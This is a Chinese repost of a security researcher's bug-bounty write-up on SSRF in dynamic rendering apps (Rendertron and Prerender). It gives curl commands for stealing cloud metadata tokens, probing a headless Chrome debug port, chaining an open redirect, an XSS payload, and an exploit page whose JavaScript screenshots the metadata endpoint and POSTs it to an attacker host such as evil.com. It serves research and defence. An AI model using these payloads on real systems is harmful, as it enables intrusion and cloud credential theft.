利用动态渲染引擎来控制Web应用

华盟原创文章投稿奖励计划

文章来源:EDI安全

01

前言

  • 动态渲染是一种用于将预渲染的网站页面提供给爬虫的技术(例如Google搜索引擎,Slack或Twitter机器人等)。

  • 动态渲染最流行的开源应用程序是Rendertron和Prerender。如果使用不当,两者都可能将漏洞引入网络。

  • 我使用Rendertron中的一个漏洞来接管生产Web应用程序,并通过错误赏金计划赚了5,000美元。

02

介绍

如今,现代JavaScript框架已广泛用于网站开发。现在,我们有了PWA(渐进式Web应用程序)和SPA(单页应用程序),而不是纯HTML页面,它们在客户端浏览器中完成了大部分工作,并使用JavaScript即时生成了页面内容。

该技术具有许多优点,并且可以有效地创建流畅的UI和UX,但同时,它也不适合SEO,因为未开发爬虫和漫游器来呈现或理解JavaScript。帮助机器人获取有效HTML内容的常见方法之一是在服务器上的无头浏览器实例(例如Puppeteer或Playwright)中打开请求的页面,获取结果HTML,剥离不希望被抓取的部分,然后将其返回。这种方法称为动态渲染,是Google推广的一种可提供内容的方法。

我在对Node.js生态系统中的程序包进行安全性审查时遇到了这种类型的应用程序,以了解在生产中使用无头浏览器时可能出现的漏洞。我编写了Semgrep规则并大规模运行它们,以检测无头浏览器的可能易受攻击的用途。

这些规则可在以下Semgrep包中找到:

https://semgrep.dev/p/headless-browser

这些Semgrep规则产生了许多结果以进行分类,在对它们进行调查之后,我发现大量使用无头浏览器的模块旨在帮助网站管理员进行动态渲染。

由于该概念的日益普及,我认为重要的是调查并了解在生产中使用动态渲染时可能出问题的地方。

这项研究的范围包括两种最流行的开源动态呈现应用,Rendertron和预渲染的,但所描述的攻击可以被应用到这种类型的其他应用程序,以及。我还将分享如何应用这些知识来接管一些curl请求的生产Web服务器并获得5,000美元的赏金。

03

结构

如果网页是在客户端上动态生成的,但需要由搜索引擎正确索引,则通常的方法是捕获来自搜寻器或漫游器的请求,将其呈现在服务器端,并输出包含所有内容的漂亮HTML。该流程通常如下所示:

利用动态渲染引擎来控制Web应用

  1. Web服务器通过检查User-Agent标头(在某些情况下为URL查询)来检测爬网程序。

  2. 请求被路由到渲染应用程序。

  3. 呈现应用程序运行无头浏览器并打开原始请求的URL,该URL将呈现页面,就好像用户使用浏览器查看了该页面一样。

  4. 生成的HTML被剥离<script>标签,并返回到Web服务器。

  5. Web服务器将动态呈现的页面返回到搜寻器。

04

识别

如何识别动态渲染应用程序

首先,动态渲染旨在与需要正确索引的网页一起使用,因此根据定义可以公开使用它们。最重要的是,仅当页面上的大多数内容由JavaScript生成(通常使用React,Angular,Vue等JS框架)并同时动态创建时,预渲染才有意义。一些示例包括:实时更新的新闻网站的主页或包含最受欢迎产品列表的在线商店页面。

找到候选站点后,您可以通过将多个请求发送到同一页面但使用不同的User-Agent标头来标识是否可以进行动态渲染(请记住,动态渲染会尝试为搜寻器渲染页面):

# request pretending to be a Chrome browsercurl -v -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" https://shop.polymer-project.org/
# request pretending to be a Slack chatcurl -v -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://shop.polymer-project.org/

如果卷曲结果不同并且伪造的爬虫请求的响应具有漂亮的HTML,且没有任何<script>标签,则表明该网站正在使用动态呈现。您可以使用

https://shop.polymer-project.org/

作为示例进行测试-这是一个演示动态渲染的演示站点。如果要查看每个应用程序如何响应各种User-Agent标头,则可以查看代码本身

https://github.com/prerender/prerender-node/blob/f9c5e12b0e271ded3e3cb6c70b703485280ec9d6/index.js#L37https://github.com/GoogleChrome/rendertron/blob/a1dd3ab1f054bc19e89dcdecdb71dc004f7d068e/middleware/src/middleware.ts#L24

此外,Rendertron将返回以下标头:X-Renderer: Rendertron。Prerender具有添加X-Prerender: 1标题的选项,但这不是默认行为。

最后,Rendertron和Prerenderer都解析特定的元标记,以更改响应标头或HTTP状态代码。换句话说,它使开发人员有机会通过将meta标签保留在页面的源代码中来操纵渲染结果。这些还可以用于标识动态渲染应用程序。

对于Prerender,它们如下所示:

<meta name="prerender-status-code" content="302" />
<meta name="prerender-header" content="Location: https://www.google.com" />

对于Rendertron:

<meta name="render:status_code" content="404" />

05

简易SSRF

当动态渲染应用程序公开可用时,它很容易利用,因为它允许您直接与该应用程序交互并发送任意请求,包括发送到本地端点。访问本地基础结构有一些限制,但是根据动态渲染应用程序的版本,可以绕过它们。

Rendertron

Rendertron易于识别,因为它具有Web前端,可让您发送请求并获取所请求页面的屏幕截图。

利用动态渲染引擎来控制Web应用

  • 3.1.0版具有允许列表选项,可将呈现限制为域或URL模式的给定列表(但需要进行配置:)
  • 3.0.0版会阻止对Google Cloud的任何请求-但是,可以通过在iFrame中请求元数据终结点来绕过此请求。此限制不适用于其他云提供商(AWS,DigitalOcean等),仍然是危险!
  • 较旧的版本会阻止对Google Cloud的请求,但允许对其Beta版本的请求http://metadata.google.internal/computeMetadata/v1beta1/(自9月30日起不推荐使用)
  • 1.1.1和更早版本允许各种请求

Rendertron的API(来自文档):

GET / render /:url
渲染端点将渲染并序列化您的页面。

GET / screenshot /:url
POST / screenshot /:url
屏幕快照端点获取页面的屏幕截图(作为图像)。

POST主体中的其他选项作为JSON字符串提供。有关可用选项,请参见Puppeteer文档。您不能指定类型(默认为jpeg)和编码(默认为二进制)参数。

因此,当您偶然发现Rendertron实例时,值得尝试执行SSRF攻击并窃取云令牌,如下所示:

curl https://rendertron-instance.here/render/http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

要么,

curl https://rendertron-instance.here/render/http://169.254.169.254/latest/meta-data/

这是SSRF payload的资源。)

如果请求被阻止,则仍然可以通过将请求发送到/ screenshot并强制服务器访问您控制的网站来强制无头浏览器获取iFrame并输出元数据端点的屏幕快照:

curl https://rendertron-instance.here/render/http://www.attackers-website.here/iframe-example

www.attackers-website.here上的HTML包含带有元数据端点的iFrame。这迫使Rendertron获取攻击者HTML并将页面呈现在其自己的服务器上。这意味着iFrame也将在其自己的服务器上解析。

<html> 
<head> 
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
 </head>
 <body>
 <iframe src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json" width="468" height="600" >
</iframe> 
</body>
</html

这将输出包含云实例元数据的iFrame的屏幕截图。

利用动态渲染引擎来控制Web应用

在3.1.0版本中修补

预渲染

Prerender没有GUI前端,也不容易识别。更糟糕的是,请求/返回400而没有任何有趣的标头:

HTTP/1.1 400 Bad RequestContent-Type: 
text/html;charset=UTF-8Vary: Accept-EncodingDate: 
Mon, 03 Aug 2020 06:55:29 GMT

预渲染APIGET /:url
GET / render?url =:url
POST / render?url =:url
选项列表可以在docs中找到,主要要点:

  • Prerender也能够创建屏幕截图
  • followRedirects (默认为false),如果为true,则遵循301重定向

识别应用程序是否正在使用Prerender的唯一方法是像发送请求/render?url=http://www.example.com并检查输出。Prerender没有针对云数据泄露的任何内置保护,但允许用户配置黑名单和白名单,因此,根据其配置,可能有可能请求云令牌,例如

curl https://rendertron-instance.here/render?url=http://169.254.169.254/latest/meta-data/

最重要的是,Prerender通过调试接口连接到无头Chrome,该接口在硬编码端口9222上打开。因此,如果允许本地请求,则可以找出Chrome调试ID

curl https://rendertron-instance.here/render?url=http://localhost:9222/json/

然后直接将WebSocket请求发送到无头Chrome,并对其进行操作,例如,打开新标签页,发送任意请求,打开本地文件。Rendertron和Prerender都将SSRF引入了使用它们的环境中。即使云端点受到限制,也仍然可能将请求发送到目标本地基础结构的其他部分,例如缓存服务器或DB。在进行这项研究时,我发现有一些Rendertron实例向公众公开,但是它们都不属于任何漏洞赏金计划,因此我就停在那里。

06

利用

通过Web应用程序进行攻击

就我而言,要寻找动态渲染应用程序,我只是简单地向我发送了一个可用的漏洞赏金列表,向每个域和端点发送了一个请求,User-Agent: Slackbot blabla并发现只有一个目标可以做出响应X-Renderer: Rendertron-但是这足以赚取赏金。😁

如果动态渲染应用未公开,但您知道某个站点正在使用它,则仍然可以使用开放重定向来执行上述攻击。如果代理渲染的页面允许开放重定向(许多公司都不认为存在漏洞)或任何类型的HTML或JavaScript注入(无论是漏洞还是功能的一部分),仍可以访问该渲染应用程序。网站)。

如果存在打开的重定向,并且在渲染应用程序实例上允许重定向,则攻击它就像发送带有curl的请求一样容易。例如:

curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://metadata.google.internal/computeMetadata/v1beta1/
curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://169.254.169.254/latest/meta-data/

如果直接访问受到限制,则可以通过iFrame请求敏感数据。

利用动态渲染引擎来控制Web应用

我在漏洞赏金目标中发现的一个Rendertron实例具有一个开放的重定向,因此这对我有用。当时,寻找XSS或HTML注入似乎是一项艰巨的任务,因此我专注于探索开放式重定向机会。

大多数开放式重定向备忘单和教程都集中于后端的重定向,但是动态渲染的概念适用于具有丰富客户端JavaScript的单页应用程序,因此在这种类型的应用程序中,您可能会更幸运地在前端代码。

这是Semgrep帮了我很多忙的地方:我引导了一大堆Semgrep模式,这些模式将突出显示JavaScript代码中可能的开放式重定向,并用它扫描了目标Web应用程序的客户端JavaScript源。使用这种方法,我在调查的一个小时内发现了一个开放的重定向。

我使用的一组规则可以在以下位置找到:https : //semgrep.dev/p/clientside-js

此后,剩下的唯一事情就是使用此开放重定向来强制服务器上的无头浏览器为我检索云元数据令牌:

利用动态渲染引擎来控制Web应用

它奏效了,程序给了我$ 5,000的bug赏金!我很幸运遇到了不限制直接访问元数据端点的Rendertron版本。但是,如果限制了对元数据端点的直接访问,则仍然可以在iFrame中请求它。唯一的问题是如何获取iFrame的内容。这是截图功能派上用场的地方!在这种情况下,最终的攻击是:

利用动态渲染引擎来控制Web应用

1在无头的浏览器标签中打开由攻击者控制的HTML-page #1

<html> <body> <script type="text/javascript"> fetch( "http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html" ); </script> </body> </html>

2这将强制浏览器将请求发送到自身(本地),这将呈现呈现应用程序的结果,呈现呈现由攻击者控制的网页的结果。

(page #2) http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html

3无头浏览器打开URL(page #3),该URL再次将请求发送到渲染应用程序 

http://localhost:3000/render/http://www.attackers-website.url/exploit.html

4-5无头浏览器使用以下HTML打开攻击者控制的网站

http://www.attackers-website.url/exploit.html(page #4)
<html> <body> <img
      id="hacked" src="http://localhost:3000/screenshot/http://metadata.google.internal/computeMetadata/v1beta1/?width=800&height=800" width="800" height="800" /> <img
      src="x" onerror='(n=0,i=document.getElementById("hacked"),i.onload=function(){n++;e=document.createElement("canvas");e.width=i.width,e.height=i.height,e.getContext("2d").drawImage(i,0,0);t=e.toDataURL("image/png");if(n>1){fetch("http://www.evil.com",{method:"POST",body:JSON.stringify(t)})}})()' /> </body> </html>
// unminified version of JavaScript code that executes on ‘onerror’ event: var n = 0; var img = document.getElementById("hacked"); // <-- screenshot of the metadata endpoint img.onload = function() { // when screenshot is loaded n++; // copy screenshot to canvas element var canvasEl = document.createElement("canvas"); (canvasEl.width = img.width), (canvasEl.height = img.height), canvasEl.getContext("2d").drawImage(img, 0, 0); // get screenshot contents var imgContent = e.toDataURL("image/png"); if (n > 1) { fetch("http://www.attackers-website.url", { // send it to attackers website method: "POST", body: JSON.stringify(imgContent), }); } };

6-7会强制浏览器获取包含带云元数据(例如

http://metadata.google.internal/computeMetadata/v1beta1/)的iFrame

的页面的屏幕截图

8,然后将其发送到攻击者主机,但是由于CORS的保护,这两个请求均无法正常工作

(localhost在当前URL为时从中获取图像http://www.attackers-website.url)。

尽管如此,结果HTML仍返回到无头浏览器page #3。

9-10在无头浏览器中呈现了相同的HTML,page #3但这一次所有请求都可以正常工作,因为未违反CORS规则(页面的主机与图像的-相同localhost:3000)。

11具有云元数据值的图片将发送给攻击者。

http://metadata.google.internal/computeMetadata/v1beta1/

在示例中广泛使用的端点已被Google弃用,不再可用。这就是为什么在Google Cloud上运行的Rendertron实例不再如此轻易地公开其令牌的原因。无论如何,请记住,这项研究的方法和技巧不仅可以用于云令牌渗透,而且可以广泛地利用SSRF。

07

技巧和窍门

  • 即使对本地基础结构的所有请求都失败了,如果有一个开放的重定向,就有机会通过它实现XSS。如前所述,动态渲染应用程序仅剥离脚本和链接标签,因此保留HTML属性中的JavaScript代码。这就是为什么重定向到像这样的攻击者控制页
<html> <body> <img src="x" onerror="alert(1)" /> </body> </html>
  • 将导致XSS。不仅如此-因为将在同一域下执行代码,所以将绕过CORS。

  • 如本文开头所述,Rendertron和Prerender都解析HTML以获取用于操作响应标头的特定元标记。这本身不是漏洞,但是例如,如果攻击者有机会在页面上注入HTML并且由于某些原因需要操纵标头(例如,覆盖X-Frame-Options或更改),则可以在漏洞利用链中使用该漏洞。一些与CORS相关的标头)。

  • 另外,请记住,Rendertron和Prerender都允许为通过它请求的网站配置允许列表和拒绝者,因此,如果您的利用不起作用,则始终值得尝试通过利用DNS记录来绕过限制。

08

概要

动态呈现应用程序将来会被广泛使用,因为它们代表了将现代JavaScript框架与SEO友好内容结合在一起的便捷方式。我们可以从Google这样的公司那里看到这一点,并且更多地采用这种方法。因此,重要的是要了解该技术可能引入的弱点。如果您是防御者:请注意,如果配置不正确,基础结构中的无头浏览器可能会引入漏洞。另外,请记住,小的安全疏漏可能是RCE的第一步。幸运的是,许多安全配置错误都可以通过现代静态分析工具发现。如果您站在攻击一边:善用自己的力量并遵守道德规范。最后,如果您正在开发使用无头浏览器的应用程序,请考虑使用Semgrep加快安全性测试

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/275124.html

发表评论